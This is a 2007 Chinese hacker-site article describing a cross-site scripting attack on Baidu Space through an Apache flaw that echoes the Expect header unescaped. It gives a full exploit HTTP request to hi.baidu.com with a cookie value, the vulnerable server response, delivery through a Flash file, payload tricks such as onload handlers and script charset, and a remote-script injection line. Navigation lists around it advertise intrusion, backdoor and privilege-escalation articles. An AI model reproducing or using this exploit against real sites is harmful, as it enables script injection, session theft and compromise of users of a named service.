·	没有路由密码权限时的鸽	08-23	·	上网安全 Vista自我防范	10-11
·	让濒临崩溃的Windows XP	10-11	·	有备无患，快速自制救急	10-11
·	要你好看!Windows看图工	10-11	·	空间赞助网提供不同类型	10-11
·	讨论net.exe和net1.exe的	10-10	·	让3389远程桌面传输更通	10-10
·	巧妙入侵渗透赌博站	10-10	·	Aspx空间扫权限工具	10-10
·	Windows2003最新提权工具	10-10	·	易淘乐提供100M免费全能	10-10
·	系统开机密码忘了不着急	10-09	·	中意网络提供免费100M免	10-09
·	与众不同 Windows XP开始	10-08	·	让桌面图标翻跟斗在XP上	10-08
·	上海宽元站长资助计划-提	10-08	·	个性化Windows XP的任务	10-07
·	趣盘提供3G免费网络硬盘	10-07	·	秀山热线提供200MB免费全	10-07
·	一次艰辛的提权过程	10-06	·	成功入侵IT大卖场的渗透	10-06
·	mysqlhack- MYSQL利用工	10-06	·	lanker一句话PHP后门客户	10-06
·	WIXI提供3G免费多媒体网	10-06	·	新人网络提供100M/ftp免	10-06
·	如何利用QQ带来高流量	10-05	·	UuShare提供免费网络文件	10-05

[推荐]百度空间跨站攻击一例

热荐 ★★★★★

百度空间跨站攻击一例

文章整理发布：黑客风云文章来源：www.05112.com 更新时间：2007-11-10 13:24:49

1.首先这是个Apache的老漏洞，Apache在接收Expect这个HTTP报头会直接输出报头的错误信息，错误信息的内容并没有被转义。

实际过程是这样的,我们发出一个HTTP请求，给加上报头Expect: <xss>，这个报头的内容Expect: <xss>将会被当成错误信息输出。

那么针对百度测试一下

发起一个POST请求，

以下是引用片段：
POST / HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: zh-cn
Referer: http://xss.betaslife.com/baidu.swf
Content-Type: application/x-www-form-urlencoded
Expect: <xss> Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: hi.baidu.com
Content-Length: 7
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: BAIDUID=875AE724A06D77C70D79C96D1CEB6C81

xss

结果返回了如下内容

以下是引用片段：
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>417 Expectation Failed</TITLE></HEAD><BODY><H1>Expectation Failed</H1>The expectation given in the Expect request-header field could not be met by this server.<P>The client sent<PRE> Expect: <xss> Accept-Encoding: gzip, deflate</PRE>but we only allow the 100-continue expectation.</BODY></HTML>

根据测试的结果发现百度空间的所有服务器都存在这个漏洞，当然现在很多大网站也存在这样的问题。

2.再来看看这个漏洞，这个漏洞的跨站脚本是在主域名下实现的，也就是我们可以在hi.baidu.com下写任意的脚本内容.

大家都知道现在百度空间的富文本编辑做得比较安全，基本上没有什么跨站脚本漏洞，上面测试出了漏洞，那么利用这个Apache漏洞我们就能做一些邪恶的事情，要找出能发出这个HTTP报头的方法，如果利用AJAX技术是会有域限制的，所以我们只能利用FLASH文件。

在实际测试过程中遇到了一些问题，Expect头输出的内容是延时的，很多如DOCUMENT.WRITE和NEW IMGE()的方法也都会失效，直接

Expect: <script src=http://xxx.com/xx.js></script>远程链接一个脚本也不会被执行，所以我们只能用<body onload=xxx>类似的方法在网页加载时就运行脚本。

然后最主要的是浏览器的编码问题，当发起这个请求后返回的页面大部分是UNICODE编码，也就是你想写入的JAVASCRIPT不能包含中文，这里LUOLUO哥教了我一个小技巧指定脚本标记中的编码 <script charset="" xxxx

突破了这两个问题就能直接实现我们的攻击。

3.其他重点就不再多说了，毕竟这个老漏洞还有一定的危害，附上录像一个。

http://raystyle.googlepages.com/baidu.html

录像下载地址：

baidu.rar

文章录入：cainiaowang 责任编辑：cainiaowang

上一篇文章：网软天下企业网站管理系统cookies注入漏洞

下一篇文章：惊爆oblog4.6 0day

【字体：小大】

中介交易区

实例讲解跨站入侵攻防战之攻击篇	05-08
对偶偶娱乐分站服务器的安全检测	04-23
入侵88red系统的详细过程	04-07
对趋势科技等数万网站被攻击的分	03-21
凡人网络购物系统 V8.0 简体中文	03-18
linux平台下渗透日本著名XXXXXX.	03-18
搜索框所引起的XSS漏洞	03-05
跳转漏洞的利用	03-05
对复旦大学的一次漫长渗透	03-03
.net一句话马以及dx论坛拿shell	03-01
php渗透入侵过程图文详解	03-01
DJ网站的入侵详细过程	02-26